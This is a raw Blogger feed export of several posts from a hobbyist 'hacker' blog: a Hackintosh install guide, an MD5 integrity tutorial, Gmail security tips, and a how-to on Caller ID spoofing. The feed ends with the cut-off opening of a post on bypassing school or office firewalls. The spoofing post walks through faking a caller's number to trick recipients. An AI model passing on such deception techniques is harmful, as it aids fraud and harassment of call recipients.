&lt;b&gt;UserDSDT&lt;/b&gt; is a bare-minimum solution for those who have their own  pre-edited DSDT. Place your DSDT.aml on the desktop before install.  Audio, Graphics and Network will have to be enabled separately.&amp;nbsp; &lt;i&gt;&lt;b&gt;HINT:&lt;/b&gt; Check the &lt;b&gt;&lt;a href=&quot;http://www.tonymacx86.com/dsdt&quot;&gt;DSDT Database&lt;/a&gt;&lt;/b&gt; for a pre-edited DSDT. &lt;/i&gt;&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Run &lt;b&gt;MultiBeast&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;If you have a &lt;b&gt;custom DSDT&lt;/b&gt; that&#39;s been edited, place the file on your desktop and choose &lt;b&gt;UserDSDT&lt;/b&gt;. &lt;/li&gt;
&lt;li&gt;All others select &lt;b&gt;EasyBeast&amp;nbsp;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Select &lt;b&gt;System Utilities&lt;/b&gt;.&lt;b&gt; &lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Optionally, you may install further drivers via &lt;b&gt;Advanced Options&lt;/b&gt; to enable ethernet, sound, graphics, etc...&amp;nbsp; Be sure to read the documentation provided about each installation option.&amp;nbsp; &lt;b&gt;NOTE:&lt;/b&gt; &lt;b&gt;EasyBeast&lt;/b&gt;, and &lt;b&gt;UserDSDT&lt;/b&gt; install &lt;b&gt;Chameleon RC4&lt;/b&gt; by  default, so you&#39;ll not need to check that option.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/li&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;a href=&quot;http://tonymacx86.blogspot.com/2010/06/multibeast-20.html&quot;&gt;&lt;b&gt;MultiBeast Demo Videos&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;li&gt;Install to &lt;b&gt;Snow Leopard&lt;/b&gt;- it should take about 4 minutes to run scripts.&lt;/li&gt;
&lt;li&gt;Eject &lt;b&gt; iBoot&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;Reboot- from your new &lt;b&gt;Snow Leopard&lt;/b&gt; installation drive.&lt;/li&gt;
&lt;/ol&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ0GPmg8RdcN_Gtc1v6IZ_XEV13zobamuYYdOPBdP6TTYWLcmD6IZ2qwhd6tigO7YCqI2osJrkN2jsXiMSNAOQ8DCpqUoa75Z76h2PjJ37Gpjek20mYip2O5U89XF3bNIQXxQaOz7CI38/s1600/SL+Boot.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJ0GPmg8RdcN_Gtc1v6IZ_XEV13zobamuYYdOPBdP6TTYWLcmD6IZ2qwhd6tigO7YCqI2osJrkN2jsXiMSNAOQ8DCpqUoa75Z76h2PjJ37Gpjek20mYip2O5U89XF3bNIQXxQaOz7CI38/s320/SL+Boot.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Congratulations!&amp;nbsp; You&#39;re done!!&lt;br /&gt;
&lt;br /&gt;
Your PC is now fully operational, while running the latest version of &lt;b&gt;Mac OS X Snow Leopard&lt;/b&gt;!&amp;nbsp;  And you have a nice Boot CD to get into your system in case things go  awry.&amp;nbsp; Boot your system from iBoot if you have issues.&amp;nbsp; You may run  MultiBeast as often as you like.&lt;br /&gt;
&lt;br /&gt;
If  you can&#39;t boot, try typing -x at the Chameleon prompt to enter safe  mode, or just boot with iBoot.&amp;nbsp; When you get to the desktop, you can  make all of the changes you need to.&amp;nbsp;  The best way to start fresh is  delete whatever you&#39;re trying to get rid of- including the whole /Extra  folder, as most kexts are installed there.&amp;nbsp; Then you can re-run  MultiBeast.&amp;nbsp; As long as you rebuild caches and repair permissions after  you&#39;re done, you can do just about anything you want to  /Extra/Extensions and /System/Library/Extensions.&amp;nbsp; Anything can be  tweaked and enabled upon subsequent uses of MultiBeast.&lt;br /&gt;
&lt;br /&gt;
If you&#39;ve had success using iBoot + MultiBeast, consider a &lt;a href=&quot;https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;amp;hosted_button_id=HVHVTLBJFDDUQ&quot;&gt;contribution&lt;/a&gt; to help keep the sites going.&amp;nbsp; We&#39;re constantly updating and tweaking our tools to help you.&lt;br /&gt;
&lt;br /&gt;
Thanks in advance! &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;-hackeramit4u &amp;amp; MacMan&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNswiZiM0-gcWSFz7MApNr7ZCwrmAB4liTaewCrWdvSXcU1n9JFOg_0y5EIm_JapEmWTzQU-blfQhAdANnE_uJNMArT0p_GC9Exh4m-1mNkIwBy3CPWIF3erD_m4V49KDP1uYLvtL5rbwm/s1600/10.6.6.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNswiZiM0-gcWSFz7MApNr7ZCwrmAB4liTaewCrWdvSXcU1n9JFOg_0y5EIm_JapEmWTzQU-blfQhAdANnE_uJNMArT0p_GC9Exh4m-1mNkIwBy3CPWIF3erD_m4V49KDP1uYLvtL5rbwm/s320/10.6.6.png&quot; width=&quot;281&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;PS: &lt;/b&gt;For our most current workarounds and solutions for&lt;b&gt; &lt;/b&gt;issues such as USB and audio, check &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/1277644334485702101/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/01/install-mac-os-x-on-any-intel-based-pc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1277644334485702101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/1277644334485702101'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/01/install-mac-os-x-on-any-intel-based-pc.html' title='Install Mac OS X on any Intel-based PC'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLM7UxKC5stSrVH1eF7WsJGvWI1sqRqZ0JOXXTq44BlIBt7IDiuQ7h12mpZFs3vtmZWivk9kMyweqiwCXLdx15aL7re-BRG084SgQUGovk53BxQuXSeqYKCn_xT4p66SDXXzu_NSxQMCU/s72-c/Bios+0.JPG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-2082970408678288778</id><published>2010-12-21T05:38:00.000-08:00</published><updated>2010-12-22T05:28:43.110-08:00</updated><title type='text'>MD5 Hash &amp; How to Use it ?</title><content type='html'>&lt;div class=&quot;clearfloat&quot; id=&quot;stats&quot;&gt;&lt;span class=&quot;left&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;right&quot;&gt;&lt;a href=&quot;http://www.gohacking.com/2010/01/what-is-md5-hash-and-how-to-use-it.html#respond&quot;&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;In this post I will explain you about one of my favorite and interesting &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptography&quot; target=&quot;_blank&quot;&gt;cryptographic algorithm&lt;/a&gt; called &lt;b&gt;MD5 &lt;/b&gt;(&lt;b&gt;Message-Digest algorithm 5&lt;/b&gt;).  This algorithm is mainly used to perform file integrity checks under  most circumstances.&amp;nbsp;Here I&amp;nbsp;will not jump into the technical aspects of  this algorithm, rather&amp;nbsp;will tell you about how to make use of this  algorithm in your daily life. Before I tell you about&amp;nbsp;how to use MD5, I  would like to share one of my&amp;nbsp;recent experience which made me start  using MD5 algorithm.&lt;br /&gt;
Recently I made some significant changes and updates&amp;nbsp;to my website  and as obvious I generated a complete backup of&amp;nbsp;the site on my server. I  downloaded this backup onto my PC and deleted the original one on&amp;nbsp;the  server. But after a few days something went wrong and I wanted to  restore the backup that I downloaded. When I tried to restore the backup  I was shocked! The&amp;nbsp;backup file that I used to restore was corrupted.  That means, the backup file that I downloaded onto my PC wasn’t&amp;nbsp;exactly  the one that was on my server. The reason is that there occured some  data loss during the download process. Yes, this data loss&amp;nbsp;can  happen&amp;nbsp;often when a file is downloaded from the&amp;nbsp;Internet. The file can  be corrupted due to any of the following reasons.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Data loss during the download process, due to instability in the Internet connection/server&lt;/li&gt;
&lt;li&gt;The file can be tampered due to&amp;nbsp;virus infections or&lt;/li&gt;
&lt;li&gt;Due to Hacker attacks&lt;/li&gt;
&lt;/ul&gt;So whenever you download any&amp;nbsp;valuable data from the Internet it is  completely necessary that you check the integrity of the downloaded  file. That is you need to ensure that the downloaded file is exactly the  same as that of the original one. In this scenario the MD5 hash can  become handy. All you have to do is generate MD5 hash (or MD5 check-sum)  for the intended file on your server. After you download the file onto  your PC, again generate MD5 hash for the downloaded file. Compare these  two hashes and if it matches then it means that the file is downloaded  perfectly without any data loss.&lt;br /&gt;
A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows&lt;br /&gt;
&lt;div class=&quot;stb-container&quot; id=&quot;stb-container&quot;&gt;&lt;div class=&quot;stb-info-caption_box stb_caption&quot;&gt;A Sample MD5 Hash&lt;/div&gt;&lt;div class=&quot;stb-info-body_box stb_body&quot;&gt;&lt;b&gt;e4d909c290d0fb1ca068ffaddf22cbd0&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;This hash is unique for every file irrespective of it’s size and  type. That means two .exe files with the same size will not have the  same MD5 hash even though they are of same type and size. So MD5  hash&amp;nbsp;can be used to uniquely identify a file.&lt;br /&gt;
&lt;div&gt;&lt;/div&gt;&lt;h3&gt;How to use MD5 Hash to check the Integrity of Files?&lt;/h3&gt;&lt;div&gt;&lt;/div&gt;Suppose you have a file called&amp;nbsp;&lt;b&gt;backup.tar&lt;/b&gt; on your  server. Before you download, you need to generate MD5 hash for this file  on your server. To do so use the following command.&lt;br /&gt;
&lt;i&gt;For UNIX:&lt;/i&gt;&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot;&gt;&lt;b&gt;md5sum backup.tar&lt;/b&gt;&lt;/div&gt;When you hit ENTER you’ll see something as follows&lt;br /&gt;
&lt;div class=&quot;stb-info_box&quot;&gt;&lt;b&gt;e4d909c290d0fb1ca068ffaddf22cbd0&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;This is the MD5 hash for the file &lt;b&gt;backup.tar&lt;/b&gt;. After  you download this file onto your PC, you can cross check it’s integrity  by again re-generating MD5 hash for the downloaded file. If both the  hash matches then it means that the file is perfect. Otherwise it means  that the file is corrupt. To generate the MD5 hash for the  downloaded&amp;nbsp;file on your Windows PC use the following freeware tool&lt;br /&gt;
&lt;a href=&quot;http://www.md5summer.org/download.html&quot; target=&quot;_blank&quot;&gt;MD5 Summer&lt;/a&gt; (Click on the link to download)&lt;br /&gt;
I hope you like this post. For further doubts and clarifications please pass your comments. Cheers!</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/2082970408678288778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/md5-hash-how-to-use-it.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2082970408678288778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/2082970408678288778'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/md5-hash-how-to-use-it.html' title='MD5 Hash &amp; How to Use it ?'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-4331012280580690062</id><published>2010-12-21T05:34:00.000-08:00</published><updated>2010-12-22T05:29:23.040-08:00</updated><title type='text'>Caller ID Spoofing</title><content type='html'>Caller ID spoofing is the act of making the telephone network to  display any desired (Fake) number on the recipient’s Caller ID  display&amp;nbsp;unit instead of the original number. The Caller ID spoofing can  make a call appear to have come from any phone number that&amp;nbsp;the caller  wishes. &lt;br /&gt;
Have you ever wondered how to perform Caller ID spoofing? Read on&amp;nbsp;to  know&amp;nbsp;more information on Caller ID spoofing and&amp;nbsp;find out&amp;nbsp;how it is  performed.&lt;br /&gt;
Unlike what most people think,&amp;nbsp;an incoming call may not be from the  number that is displayed on the Caller ID display unit. Because of the  high trust that the people have in the Caller ID system, it is possible  for the caller to easily fool them&amp;nbsp;and make them believe that the&amp;nbsp;number  displayed on the Caller ID display is real.&amp;nbsp;This is all possible  through Caller ID spoofing.&lt;br /&gt;
&lt;div&gt;&lt;/div&gt;&lt;h2&gt;How to Spoof Caller ID?&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;You can easily spoof any&amp;nbsp;Caller ID using&amp;nbsp;services like &lt;a href=&quot;http://www.gohacking.com/recom_products/SpoofCard.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;SpoofCard&lt;/a&gt;.&amp;nbsp;In  order to use the spoofcard service,&amp;nbsp;you need to pay in advance and  obtain a PIN (Personal Identification Number) which grants access  to&amp;nbsp;make a call using the Caller ID spoofing service. Once you have  purchased the service, you will be given access to login to&amp;nbsp;your  SpoofCard account. To begin with, you need to call the number given by  SpoofCard and enter the PIN. Now you will be given access to enter the  number you wish to call and the number you wish to appear as the Caller  ID. Once you select the options and initiate the calling process, the  call is bridged and the person on the other end receives your call. The  receiver would normally assume that the call was coming from a different  phone number&amp;nbsp;ie: the spoofed number chosen by&amp;nbsp;you&amp;nbsp;- thus tricking the  receiver into thinking that the call was coming from a different  individual or organization than the caller’s. In this way it is just a  cakewalk to spoof Caller ID&amp;nbsp;and trick the&amp;nbsp;receiver on the other  end.&amp;nbsp;Thus&amp;nbsp;you neither&amp;nbsp;need to be a computer expert nor have any  technical knowledge to perform Caller ID spoofing. For more information  on SpoofCard service visit the following link.&lt;br /&gt;
&lt;div&gt;&lt;/div&gt;&lt;div style=&quot;font-size: 18px;&quot;&gt;&lt;a href=&quot;http://www.gohacking.com/recom_products/SpoofCard.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;SpoofCard&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;h2&gt;How Caller ID Spoofing works?&lt;/h2&gt;&lt;div&gt;&lt;/div&gt;Caller ID spoofing is done through various methods and using  different technologies. The most commonly used technologies to spoof  Caller ID is &lt;a href=&quot;http://en.wikipedia.org/wiki/Voice_over_Internet_Protocol&quot; target=&quot;_blank&quot;&gt;VOIP&lt;/a&gt; (Voice Over IP) and &lt;a href=&quot;http://en.wikipedia.org/wiki/Primary_rate_interface&quot; target=&quot;_blank&quot;&gt;PRI&lt;/a&gt;&amp;nbsp;(Primary Rate Interface)&amp;nbsp;lines.&lt;br /&gt;
Today most VOIP systems provide an option for it’s users to enter  whatever number they want in the calling party field and this number is  sent out&amp;nbsp;when they make a call. Hence it is easily possible for any user  to spoof Caller ID provided they have a VOIP system and know how to  properly configure it to spoof the Caller ID. However sites like &lt;a href=&quot;http://www.gohacking.com/recom_products/SpoofCard.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;SpoofCard&lt;/a&gt; provide an easy and cheap spoofing services for those who aren’t using VOIP systems that they can configure themselves.&lt;br /&gt;
Caller ID spoofing is possible and being performed right from the  days&amp;nbsp;Called ID system was introduced. However most people are unaware of  the fact that it is possible to spoof&amp;nbsp; Caller ID&amp;nbsp;and make any number to  be displayed on the receiver’s end.&amp;nbsp;In the past, Caller ID spoofing  service was mostly used by telemarketers, collection agencies,  law-enforcement officials, and private investigators but today it&amp;nbsp;is  available to any Internet user who wish to perform Caller ID spoofing.</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/4331012280580690062/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/caller-id-spoofing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4331012280580690062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/4331012280580690062'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/caller-id-spoofing.html' title='Caller ID Spoofing'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-8194311102006634562</id><published>2010-12-21T05:24:00.000-08:00</published><updated>2010-12-22T05:29:50.537-08:00</updated><title type='text'>Best 7 Ways to Protect Your Gmail Account</title><content type='html'>Email  is the most invaluable asset of anyone’s identity on the web. You use  email everyday and have all the important information stored in your  inbox. All your social networking accounts, website registrations,  Paypal accounts etc are connected and controlled by your email and thus  it makes sense to completely secure your Gmail account and prevent  unauthorized access.&lt;br /&gt;
Choosing a strong password is not enough, you  should be well aware how people try to gain access to other people’s  email accounts by unfair means. Here are some useful tips on securing  your Gmail account and avoid getting hacked:&lt;br /&gt;
&lt;span id=&quot;more-15881&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h3&gt;1. Always Check The URL before Logging in to Gmail&lt;/h3&gt;Whenever  you log in to your Gmail account, always check the URL from the browser  address bar. This is because there are plenty of dirty minds who create  an exact replica of the Gmail login page. The worst part – they &lt;a class=&quot;kLink&quot; href=&quot;http://maketecheasier.com/7-ways-to-protect-your-gmail-account-from-getting-hacked/2010/05/23#&quot; id=&quot;KonaLink0&quot; style=&quot;position: static; text-decoration: underline ! important;&quot; target=&quot;undefined&quot;&gt;&lt;span style=&quot;color: blue; font-family: verdana,sans-serif; font-size: 13px; font-weight: 400; position: static;&quot;&gt;&lt;span class=&quot;kLink&quot; style=&quot;color: blue; font-family: verdana,sans-serif; font-size: 13px; font-weight: 400; position: static;&quot;&gt;install&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  some scripts or malicious codes behind the fake login page and host the  page in their web server. When you login to Gmail from a fake login  page, your username as well as password is sent to another email address  or to an FTP location.&lt;br /&gt;
&lt;img alt=&quot;Check for Fake Login Pages of Gmail&quot; class=&quot;aligncenter size-full wp-image-15886&quot; height=&quot;345&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-fake-login-pages.png&quot; style=&quot;display: block;&quot; title=&quot;Check for Fake Login Pages of Gmail&quot; width=&quot;535&quot; /&gt;&lt;br /&gt;
Hence, always check that you are logging in to Gmail by typing www.gmail.com and not from any other URL.&lt;br /&gt;
&lt;h3&gt;2. Avoid checking Emails at Public Places&lt;/h3&gt;A  Keylogger is a computer program which can be used to record what you  are typing in the keyboard. The Keylogger records your keystrokes, saves  them in a simple text file and sends it to an email address or to an  FTP server. And you are completely unaware of the whole process, running  in the background.&lt;br /&gt;
&lt;img alt=&quot;Keylogger programs used to record keystrokes from keyboard&quot; class=&quot;aligncenter size-full wp-image-15888&quot; height=&quot;272&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-keyloggers.jpg&quot; style=&quot;display: block;&quot; title=&quot;keyloggers&quot; width=&quot;400&quot; /&gt;&lt;br /&gt;
You  never know which programs are installed in a public computer. Consider a  simple scenario: You went to a local internet cafe to check emails from  your Gmail account. The cafe staff has installed a Keylogger in every  computer and when you type the username and password, the Keylogger  script comes into action, records both your username and password and  sends it to another email address. You leave the cafe after checking  emails and the cafe staff&amp;nbsp; retrieves your username and password and  hacks your account.&lt;br /&gt;
Hence, never check emails at a local cafe or at public places or in any computer where you don’t have control.&lt;br /&gt;
&lt;h3&gt;3. Forward Emails to A Secondary Email account&lt;/h3&gt;Should  you need to check emails from a public computer or from a local  internet cafe and you fear that the computer might have installed some  keylogger programs? Here is a nice workaround.&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Create another  Gmail account and choose a different password for this account. This  means that the password of your new Gmail account should not match with  the password of your main Gmail account.&lt;/li&gt;
&lt;li&gt;Log in to your main Gmail account, click “Settings” and go to the “Forwarding and POP/IMAP” tab.&lt;/li&gt;
&lt;li&gt;Select  the option to forward all incoming mails to your newly created Gmail  account. Any email received in your primary email account will be  forwarded to this secondary email address automatically.&lt;/li&gt;
&lt;/ul&gt;&lt;img alt=&quot;gmail-forward-emails&quot; class=&quot;aligncenter size-full wp-image-15889&quot; height=&quot;306&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-forward-emails.png&quot; style=&quot;display: block;&quot; title=&quot;Forward Emails to a New Gmail account&quot; width=&quot;541&quot; /&gt;&lt;br /&gt;
Whenever  you want to check emails from a public computer, use this secondary  email account. Anybody trying to hack your email account using a  keylogger or a malicious program can hack this secondary email account  but not your primary one. Obviously, do not leave any important emails  or password/username in this temporary email account – keep deleting  emails at regular intervals. Yes, this may sound ridiculous but it’s  better to be on the safe side.&lt;br /&gt;
&lt;b&gt;VERY IMPORTANT:&lt;/b&gt; Do  not use or associate this secondary email account as a password  recovery option of your primary email account. Use this email account  just for checking emails at a public computer, that’s it.&lt;br /&gt;
&lt;h3&gt;4. Regularly Monitor Gmail Account Activity&lt;/h3&gt;You  can monitor the IP addresses of the computers used to log in to your  Gmail account. To find the IP addresses, log in to Gmail, scroll down  and click account activity details link as shown below:&lt;br /&gt;
&lt;img alt=&quot;Gmail account activity details&quot; class=&quot;aligncenter size-full wp-image-15892&quot; height=&quot;544&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-account-activity.png&quot; style=&quot;display: block;&quot; title=&quot;Gmail account activity&quot; width=&quot;560&quot; /&gt;&lt;br /&gt;
This  will show you a list of the last IP addresses used to log in to your  Gmail account. You will notice the country and state name alongside date  and time of your last Gmail activity. Should you find another unknown  IP address or the name of a place, there are high chances that somebody  else is logging in to your Gmail account from elsewhere.&lt;br /&gt;
To solve  this issue, click the “Sign out of all other sessions” button and Gmail  will automatically delete all the active sessions of your account. Next,  immediately change the password from your Google accounts settings  page.&lt;br /&gt;
&lt;h3&gt;5. Check for Bad Filters&lt;/h3&gt;Gmail filters can be used  to set rules in your Gmail account – you can automatically forward  specific emails to another email account, delete it, archive it and do  various other tasks. Sadly, filters can be a big threat to your Gmail  account &lt;a class=&quot;kLink&quot; href=&quot;http://maketecheasier.com/7-ways-to-protect-your-gmail-account-from-getting-hacked/2010/05/23#&quot; id=&quot;KonaLink1&quot; style=&quot;position: static; text-decoration: underline ! important;&quot; target=&quot;undefined&quot;&gt;&lt;span style=&quot;color: blue; font-family: verdana,sans-serif; font-size: 13px; font-weight: 400; position: static;&quot;&gt;&lt;span class=&quot;kLink&quot; style=&quot;color: blue; font-family: verdana,sans-serif; font-size: 13px; font-weight: 400; position: static;&quot;&gt;security&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;.&lt;br /&gt;
Consider  a situation – you checked emails from your college computer, forgot to  log out and left the classroom. One of your friends found that you have  forgotten to log out and he applied a filter in your Gmail account. This  filter automatically forwards all of your emails at his email address.&lt;br /&gt;
Now he has access to all your emails and he may reset your account password, if he wants.&lt;br /&gt;
Hence you should always check for unknown filters from &lt;b&gt;Gmail Settings -&amp;gt; Filters&lt;/b&gt;.&amp;nbsp; Delete any filter which you didn’t created or which appears suspicious.&lt;br /&gt;
&lt;img alt=&quot;Check for unknown Gmail filters&quot; class=&quot;aligncenter size-full wp-image-15895&quot; height=&quot;227&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-filters.png&quot; style=&quot;display: block;&quot; title=&quot;Check for unknown Gmail filters&quot; width=&quot;520&quot; /&gt;&lt;br /&gt;
&lt;h3&gt;6. Do not Click on Suspicious Links&lt;/h3&gt;There  are some websites which let’s anyone send fake emails to any email  address. And the worst part is that the sender can customize the “From”  address to anything – noreply@gmail.com or gmailteam@google.com.&lt;br /&gt;
Consider  a scenario: Mr X uses some website and sends an email to you asking you  to change your Gmail password due to security reasons. You see the from  address field as something like “support@gmail.com” and think that it’s  from Gmail. No, it’s not.&lt;br /&gt;
When you receive any emails which asks  you to change your account password or enter login credentials, STOP. Do  not ever click on any suspicious links from your inbox.&lt;br /&gt;
&lt;img alt=&quot;Suspicious links in Gmail account&quot; class=&quot;aligncenter size-full wp-image-15897&quot; height=&quot;373&quot; src=&quot;http://images.maketecheasier.com/2010/05/gmail-suspicious-links.png&quot; style=&quot;display: block;&quot; title=&quot;Suspicious Links in Gmail account&quot; width=&quot;550&quot; /&gt;&lt;br /&gt;
&lt;b&gt;Note&lt;/b&gt;: &lt;i&gt;Gmail  will never ask you to change your password or enter login credentials  without any reason. Hence, if you receive any email which claims to be  from Google and wants you to change your password, be rest assured  someone is trying to fool you and hack your email account.&lt;/i&gt;&lt;br /&gt;
&lt;h3&gt;7. Choose a Strong Alphanumeric password&lt;/h3&gt;Most  users choose very generic passwords which can be easily guessed. You  should always choose a very strong password which is difficult to guess.  Always remember the following tips regarding choosing passwords:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Choose both numbers and alphabets in your password. It would be even better if you include symbols and special characters.&lt;/li&gt;
&lt;li&gt;Never use your phone number, parents name or credit card number as your email account password.&lt;/li&gt;
&lt;li&gt;Choose a long password – probably more than 10 characters.&lt;/li&gt;
&lt;li&gt;Never write your password on paper or save it as a text document in your computer.&lt;/li&gt;
&lt;/ul&gt;Anyone  trying to hack your email account will have a difficult time guessing  the password and the more complicated your password, the more secure and  better it is. You should also &lt;a href=&quot;http://maketecheasier.com/recover-google-password-via-sms/2009/12/04&quot;&gt;connect your mobile number with your Gmail account&lt;/a&gt;. This is required in case your forget the password and can’t login to Gmail.</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/8194311102006634562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/best-7-ways-to-protect-your-gmail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/8194311102006634562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/8194311102006634562'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2010/12/best-7-ways-to-protect-your-gmail.html' title='Best 7 Ways to Protect Your Gmail Account'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-7404914394142371308</id><published>2010-11-05T23:01:00.000-07:00</published><updated>2010-11-05T23:01:48.534-07:00</updated><title type='text'>How To Bypass Firewall Using Tool</title><content type='html'>&lt;h3 class=&quot;post-title entry-title&quot;&gt; &lt;/h3&gt;&lt;div class=&quot;post-header&quot;&gt;  &lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;Is  Orkut, Facebook,Yahoo blocked on your school, college or office? Then,  don&#39;t worry. I have a solution for you that will not only unblock all  the websites that have been blocked but also make your internet surfing  anonymous so that nobody can trace your orignal ip address. As you know  that most of the proxy websites are blocked with your school, college or  office firewall and even if you find some new proxies they even them  block them out. So,why not to move something that is almost a permanent  solution.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #333333; font-family: Arial,Tahoma,Verdana; font-size: 12px; line-height: 19px;&quot;&gt;&lt;br /&gt;
